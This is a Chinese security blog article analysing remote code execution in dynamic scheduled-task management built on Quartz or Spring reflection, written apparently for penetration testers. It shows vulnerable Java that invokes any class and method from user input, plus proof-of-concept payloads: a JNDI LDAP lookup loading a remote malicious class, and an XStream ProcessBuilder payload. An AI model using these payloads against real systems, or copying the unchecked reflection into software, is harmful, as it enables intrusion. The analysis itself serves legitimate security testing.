原创 | 动态定时任务业务中的RCE

  • A+
所属分类:安全文章
原创 | 动态定时任务业务中的RCE
点击上方蓝字 关注我吧


原创 | 动态定时任务业务中的RCE
前言
原创 | 动态定时任务业务中的RCE


在实际的生产业务中经常会接触到定时任务的问题。比如说,数据库定时备份,日志定时压缩,数据定时上传等等。当然,不同的定时任务,实现方式也会不尽相同。

有的可能会借助操作系统的定时任务功能。但有些定时任务,就需要通过编码实现了,比如电商平台 30 分钟后自动取消未支付的订单,以及银行凌晨的数据汇总、对账和备份等。

可以通过多种方式/框架实现定时任务的效果。例如xxl-job、Spring task、quartz等。其各有优劣,例如spring task配置很简单,相当于一个轻量级的quartz,能够满足实际开发中的绝大部分场景。

原创 | 动态定时任务业务中的RCE

  
常见的业务场景中,常常需要动态增删启停定时任务,通过可视化的管理界面来动态管理。spring task就不是很适用了。

有一种方式是通过Quartz框架,结合调用方法和参数反射调用来实现。例如如下的可视化管理界面(添加任务):


原创 | 动态定时任务业务中的RCE


原创 | 动态定时任务业务中的RCE
动态定时任务
原创 | 动态定时任务业务中的RCE


相关实现

  
在网上找了一下相关的实现demo,主要实现思路是根据任务表里面的实体建立对应策略的任务实例,创建好对应的任务模版:
/** * 定时调度具体工作类 */@Component("v2Task")@Slf4jpublic class V2Task {
/** * 无参的任务 */ public void runTask1() { log.info("正在执行定时任务,无参方法"); }
/** * 有参任务 * 目前仅执行常见的数据类型 Integer Long 带L string 带 '' bool Double 带 d * @param a * @param b */ public void runTask2(Integer a,Long b,String c,Boolean d,Double e) { log.info("正在执行定时任务,带多个参数的方法"+a+" "+b+" "+c+" "+d+" "+e+"执行时间:"+new Date().toLocaleString()); }}


然后根据调用方法和参数反射动态创建、调用对应方法,核心工具类如下:
public class JobInvokeUtil{    /**     * 执行方法     *     * @param sysJob 系统任务     */    public static void invokeMethod(SysJob sysJob) throws Exception    {        String invokeTarget = sysJob.getInvokeTarget();        String beanName = getBeanName(invokeTarget);        String methodName = getMethodName(invokeTarget);        List<Object[]> methodParams = getMethodParams(invokeTarget);
if (!isValidClassName(beanName)) { Object bean = SpringUtils.getBean(beanName); invokeMethod(bean, methodName, methodParams); } else { Object bean = Class.forName(beanName).newInstance(); invokeMethod(bean, methodName, methodParams); } }
/** * 调用任务方法 * * @param bean 目标对象 * @param methodName 方法名称 * @param methodParams 方法参数 */ private static void invokeMethod(Object bean, String methodName, List<Object[]> methodParams) throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { if (StringUtils.isNotNull(methodParams) && methodParams.size() > 0) { Method method = bean.getClass().getDeclaredMethod(methodName, getMethodParamsType(methodParams)); method.invoke(bean, getMethodParamsValue(methodParams)); } else { Method method = bean.getClass().getDeclaredMethod(methodName); method.invoke(bean); } } ...... ......}


动态调用任意类任意方法导致RCE

  
通过分析上述代码,其class、method以及相关method参数均可控,并且无任何黑白名单限制,直接动态调用任意类任意方法。这里搭建环境尝试复现。
  
最容易想到的就是通过反射Runtime或者反射来获取ProcessBuilder构造函数,然后调用 start() 来执行命令。看看具体的反射方法:
Method method = bean.getClass().getDeclaredMethod(methodName, getMethodParamsType(methodParams));            method.invoke(bean, getMethodParamsValue(methodParams));

很明显,直接通过如下方式来执行命令是不行的,因为Runtime 类的构造方法是私有的,其是单例模式,只能通过 Runtime.getRuntime() 来获取到 Runtime 对象。


那么根据具体的反射方法这个思路不可行:

Class clazz = Class.forName("java.lang.Runtime");clazz.getMethod("exec"String.class).invoke(clazz.newInstance(), "whoami");


通过ProcessBuilder来执行命令也是不可行的:
Class clazz = Class.forName("java.lang.ProcessBuilder");clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));

尝试别的思路,查看其获取内容的相关方法,主要是通过切割用户输入的方式来获取className、MethodName还有对应的MethodParam的:

    /**     * 获取bean名称     *      * @param invokeTarget 目标字符串     * @return bean名称     */    public static String getBeanName(String invokeTarget)    {        String beanName = StringUtils.substringBefore(invokeTarget, "(");        return StringUtils.substringBeforeLast(beanName, ".");    }
/** * 获取bean方法 * * @param invokeTarget 目标字符串 * @return method方法 */ public static String getMethodName(String invokeTarget) { String methodName = StringUtils.substringBefore(invokeTarget, "("); return StringUtils.substringAfterLast(methodName, "."); } /** * 获取method方法参数相关列表 * * @param invokeTarget 目标字符串 * @return method方法相关参数列表 */ public static List<Object[]> getMethodParams(String invokeTarget) { if (StringUtils.isEmpty(methodStr)) { return null; } String[] methodParams = methodStr.split(","); List<Object[]> classs = new LinkedList<>(); for (int i = 0; i < methodParams.length; i++) { String str = StringUtils.trimToEmpty(methodParams[i]); // String字符串类型,包含' if (StringUtils.contains(str, "'")) { classs.add(new Object[] { StringUtils.replace(str, "'", ""), String.class }); } // boolean布尔类型,等于true或者false else if (StringUtils.equals(str, "true") || StringUtils.equalsIgnoreCase(str, "false")) { classs.add(new Object[] { Boolean.valueOf(str), Boolean.class }); } // long长整形,包含L else if (StringUtils.containsIgnoreCase(str, "L")) { classs.add(new Object[] { Long.valueOf(StringUtils.replaceIgnoreCase(str, "L", "")), Long.class }); } // double浮点类型,包含D else if (StringUtils.containsIgnoreCase(str, "D")) { classs.add(new Object[] { Double.valueOf(StringUtils.replaceIgnoreCase(str, "D", "")), Double.class }); } // 其他类型归类为整形 else { classs.add(new Object[] { Integer.valueOf(str), Integer.class }); } } return classs;    }


那么根据相关的切割方式,可以考虑结合ldap、rmi等方式进行利用,相关poc如下:
javax.naming.InitialContext.lookup('ldap://ip:port/EvilObj')

然后开启ldap服务并请求恶意类Exploit。通过创建定时任务,最后成功执行计算器命令(这里直接请求本地ldap服务了,实际场景是需要考虑jdk版本的):


原创 | 动态定时任务业务中的RCE


原创 | 动态定时任务业务中的RCE


除此之外,还可以考虑jar组件中的相关class以及组件漏洞进行利用。

例如Xstream的漏洞一般依赖于具体代码实现以及相关接口请求,比较难利用,那么就可以尝试使用如下poc进行利用:
com.thoughtworks.xstream.XStream.fromXML('<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>open</string><string>/Applications/Calculator.app</string></command></target><action>start</action></handler></dynamic-proxy></sorted-set>')


当然,前提必须保证相关param不会被二次处理。同样的也可以考虑Java自带的表达式类调用。

例如javax.el.ELProcessor等。具体情况具体处理。

原创 | 动态定时任务业务中的RCE
拓展与延伸
原创 | 动态定时任务业务中的RCE


除了上面的例子以外,在github搜了一下其他项目的实现方法,也存在类似的问题。


例如通过改造org.springframework.scheduling.ScheduledTaskRegistrar实现动态增删启停定时任务功能。


相关代码也是通过调用方法和参数反射的方式来实现的:

public class SchedulingRunnable implements Runnable {
private static final Logger logger = LoggerFactory.getLogger(SchedulingRunnable.class);
private String beanName;
private String methodName;
private String params;
public SchedulingRunnable(String beanName, String methodName) { this(beanName, methodName, null); }
public SchedulingRunnable(String beanName, String methodName, String params) { this.beanName = beanName; this.methodName = methodName; this.params = params; }
@Override public void run() { logger.info("定时任务开始执行 - bean:{},方法:{},参数:{}", beanName, methodName, params); long startTime = System.currentTimeMillis();
try { Object target = SpringContextUtils.getBean(beanName);
Method method = null; if (StringUtils.isNotEmpty(params)) { method = target.getClass().getDeclaredMethod(methodName, String.class); } else { method = target.getClass().getDeclaredMethod(methodName); }
ReflectionUtils.makeAccessible(method); if (StringUtils.isNotEmpty(params)) { method.invoke(target, params); } else { method.invoke(target); } } catch (Exception ex) { logger.error(String.format("定时任务执行异常 - bean:%s,方法:%s,参数:%s ", beanName, methodName, params), ex); }
long times = System.currentTimeMillis() - startTime; logger.info("定时任务执行结束 - bean:{},方法:{},参数:{},耗时:{} 毫秒", beanName, methodName, params, times); }
@Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; SchedulingRunnable that = (SchedulingRunnable) o; if (params == null) { return beanName.equals(that.beanName) && methodName.equals(that.methodName) && that.params == null; }
return beanName.equals(that.beanName) && methodName.equals(that.methodName) && params.equals(that.params); }
@Override public int hashCode() { if (params == null) { return Objects.hash(beanName, methodName); }
return Objects.hash(beanName, methodName, params); }}


同理,因为没有相关的白名单限制,只需要class、method以及相关method参数均可控,在一定的条件下即可达到RCE的效果。

也就是说在黑盒测试时,对于如下的界面操作,就需要额外关注了:

原创 | 动态定时任务业务中的RCE


往期推荐
原创 | 动态定时任务业务中的RCE
原创 | 动态定时任务业务中的RCE

Shiro-550反序列化漏洞分析

原创 | 动态定时任务业务中的RCE

驱动病毒那些事(二)——回调

原创 | 动态定时任务业务中的RCE

一次金融行业的红蓝对抗总结

原创 | 动态定时任务业务中的RCE
你要的分享、在看与点赞都在这儿~

本文始发于微信公众号(SecIN技术平台):原创 | 动态定时任务业务中的RCE

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: